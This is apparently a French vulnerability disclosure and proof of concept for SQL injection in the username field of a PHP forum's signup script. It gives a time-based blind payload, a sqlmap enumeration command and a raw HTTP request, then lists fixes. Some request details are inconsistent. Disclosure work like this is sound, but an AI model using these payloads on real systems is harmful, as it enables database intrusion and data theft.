
CVE-poc
CVE-poc
Injection SQL
Une vulnérabilité d'injection SQL a été identifiée dans le fichier /signuppost.php du projet « Technical Forum Using PHP Source Code ». La vulnérabilité provient du fait qu'un attaquant peut injecter du code malveillant via le paramètre de nom d'utilisateur de connexion et utiliser ce paramètre directement dans une requête SQL sans validation. Cela permet à un attaquant de falsifier les valeurs de saisie pour manipuler les requêtes SQL et effectuer des actions non autorisées.
Un attaquant peut exploiter cette vulnérabilité d'injection SQL pour obtenir un accès non autorisé à une base de données, divulguer des données sensibles, altérer des données, contrôler entièrement le système, voire interrompre des services, ce qui constitue une menace sérieuse pour la sécurité du système et la continuité de l'activité.
Nom de la vulnérabilité : Paramètre Username
Payload
Parameter: Username (POST)
Type: Time Blind Injection Time Blind Injection
Title: Time Blind Injection Time Blind Injection
Payload: username=admin' AND (SELECT 9335 FROM (SELECT(SLEEP(5)))NwOL) AND 'SGvn' = 'SGvn'
Screenshot of the specific information obtained when testing and running the sqlmap utility

//sqlmap
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --current-user --is-dba
poc
POST /signuppost.php HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:8083
Connection: keep-alive
Referer: http://127.0.0.1:8083/signup.php
Cookie: PHPSESSID=ln2b6eftt76aon56uvppiurao3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
name=123&gender=male&email=13849221%40qq.com&contact=123123&username=admii&password=admin%40123&password_check=admin%40123&submit=SignUp
Utiliser des instructions de prétraitement et la liaison de paramètres Les instructions de prétraitement empêchent l'injection SQL en séparant le code SQL des données saisies par l'utilisateur. Lors de l'utilisation d'instructions de prétraitement, les valeurs saisies par l'utilisateur sont traitées comme des données pures et ne sont pas interprétées comme du code SQL.
Validation et filtrage des entrées Valider et filtrer strictement les données saisies par l'utilisateur pour garantir qu'elles se conforment au format attendu.
Réduire les privilèges des utilisateurs de la base de données S'assurer que les comptes utilisés pour se connecter à la base de données disposent des privilèges minimum nécessaires. Éviter d'utiliser des comptes dotés de privilèges plus élevés (par exemple « root » ou « admin ») pour les opérations courantes.
Effectuer des audits de sécurité réguliers Effectuer des audits réguliers de la sécurité du code et du système afin d'identifier et de corriger rapidement les vulnérabilités de sécurité potentielles.
En suivant ces recommandations, vous pouvez grandement améliorer la sécurité de vos applications et réduire les risques associés aux vulnérabilités d'injection SQL.